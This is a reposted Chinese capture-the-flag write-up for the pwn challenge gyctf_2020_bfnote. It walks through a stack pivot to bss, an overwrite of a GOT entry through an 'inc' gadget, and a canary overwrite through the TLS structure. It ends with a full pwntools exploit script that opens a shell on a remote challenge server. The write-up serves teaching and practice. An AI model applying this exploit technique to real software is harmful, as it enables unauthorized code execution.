首页 > 其他分享 >gyctf_2020_bfnote

gyctf_2020_bfnote

时间:2022-12-05 12:34:10浏览次数:81  
标签:gyctf Give payload bfnote 2020 sendlineafter p32 ebp your

gyctf_2020_bfnote

也是一道利用tls结构体来修改canary的题目,只不过这个是控制父进程的tls(父进程的tls结构体位于映射区,子进程的在栈的高地址处,其实都是在映射区,只不过子进程的栈也在映射区,故可能更好控制)

保护策略

image-20221205115319971

漏洞利用

image-20221205115521694

1、栈溢出的时候控制ebp打一个栈迁移到bss

2、向bss输入的数据作用是修改atoi的got表,

3、通过控制索引修改canary

需要注意的是第二步修改atoi的方法利用了inc x 这个指令,这个意思是将x加一,这是因为地址的后一个半字节不变,而我们所作的就是从倒数第二个字节开始加,让这二者保持一致,最后一个字节同过再执行一个read输入,当然你也可以爆破

image-20221205120820426

image-20221205121230700

由于bss所给的版本找不到,所以还需要自己用readelf再找一下二者的偏移

image-20221205121952659

exp

from tools import*
context.log_level='debug'

p,e,libc=load('a','node4.buuoj.cn:28185')
inc_ebp=0x08048434 #inc dword ptr [ebp - 0x17fa8b40] ; ret 0
pop_ebp=0x080489db
#can stack over
debug(p,0x80487FC,0x804882A,0x80488E2,0x804895E)
payload=b'a'*0X32+p32(0xdeadbeef)+p32(0)+p32(0x0804A060+4)+p32(0)#bss

p.sendlineafter("Give your description : ",payload)
#bss 
payload=p32(pop_ebp)+p32(0x804a02d+0x17fa8b40)+p32(inc_ebp)*0xd9#0xdb
payload+=p32(e.plt['read'])+p32(0x08048656)+p32(0)+p32(e.got['atol'])+p32(0x100)+p32(0x08048656)
p.sendlineafter("Give your postscript : ",payload)

p.sendlineafter("Give your notebook size : ",str(0x50000))

p.sendlineafter("Give your title size : ",str(0x5170c-0x10))
p.sendlineafter("invalid ! please re-enter :\n",str(0x18))
p.sendlineafter("\nGive your title : ",'c'*0x10)
p.sendlineafter("Give your note : ",p32(0xdeadbeef))

pause()
p.send('\x40')
pause()
p.send("/bin/sh\x00")

p.interactive()

参考

gyctf_2020_bfnote | ZIKH26's Blog

标签:gyctf,Give,payload,bfnote,2020,sendlineafter,p32,ebp,your
From: https://www.cnblogs.com/trunk/p/16951961.html

相关文章

  • 20201203 T1 color
    题目描述给定一个\(n\)个点的环,初始时全为白色,每次有两种操作:随机选一个点(可能为黑),把它变成黑色,代价为\(1\);选一个点,若其在环上相邻两点都为黑色,则可把它变成黑......
  • [WUSTCTF2020]B@se
    题目附件内容:   首先通过观察题目字符特征很明显是base64编码,第一行的密文是通过下面给的base64的变表,但是仔细观察缺少了四个字符,因此我们需要写脚本把缺少的字符......
  • Pycharm Community 2020.2.3 Python代码设计软件下载
    关注微信公众号【工控羊】或者微信号【gksheep】,微信公众号后台输入数字编号【0014】即可获取下载链接。......
  • Intellijidea2020版下载
    关注微信公众号【工控羊】或者微信号【gksheep】,微信公众号后台输入数字编号【0009】即可获取下载链接。......
  • [ACTF新生赛2020]crypto-classic0
    打开压缩包里面有三种文件: hint文件内容:哼,压缩包的密码?这是小Z童鞋的生日吧== cipher文件内容:Ygvdmq[lYate[elghqvakl} howtoencrypt是一个加密的压缩......
  • buuoj-[MRCTF2020]Xor
    1.winexe32bit无壳2.进入程序无法反汇编去查了百度3.很简单的异或数据是MRCTF{@_R3@1ly_E2_R3verse!}异或它的index就好了str='MSAWB~FXZ:J:`tQJ"N@bpdd}8g'......
  • buuoj-[ACTF新生赛2020]usualCrypt
    1.winexe32bit无壳2.shiftf+f12找一下找到主体把能识别出的变量名、函数名都改了初步判断是base64BASE加密函数里面还有一个函数,点进去:很好判断,是变表写个......
  • 2020 ICPC Shanghai Site D I
    闲话:赛时被D分类卡了很久讨论了很多很傻逼的情况但是就是没有想到交叉赛后发现I其实更简单D.Walker虽然但是知道是分类讨论不过还是很难知道他那三个情况咋想的1.......
  • 892.2020
    1:#include<bits/stdc++.h>usingnamespacestd;intmain(){ intn=10; doubleMAX,AVG=0; cin>>AVG; MAX=AVG; for(inti=1;i<n;i++){ dou......
  • buuoj-[MRCTF2020]Transform
    1.winexe64bit无壳2.存在关键字符串3.ctrl+x跟踪找到程序主体4.浅浅分析+百度lobyte是啥一下5.脚本arr1=[0x67,0x79,0x7B,0x7F,0x75,0x2B,0x3C,0x52,......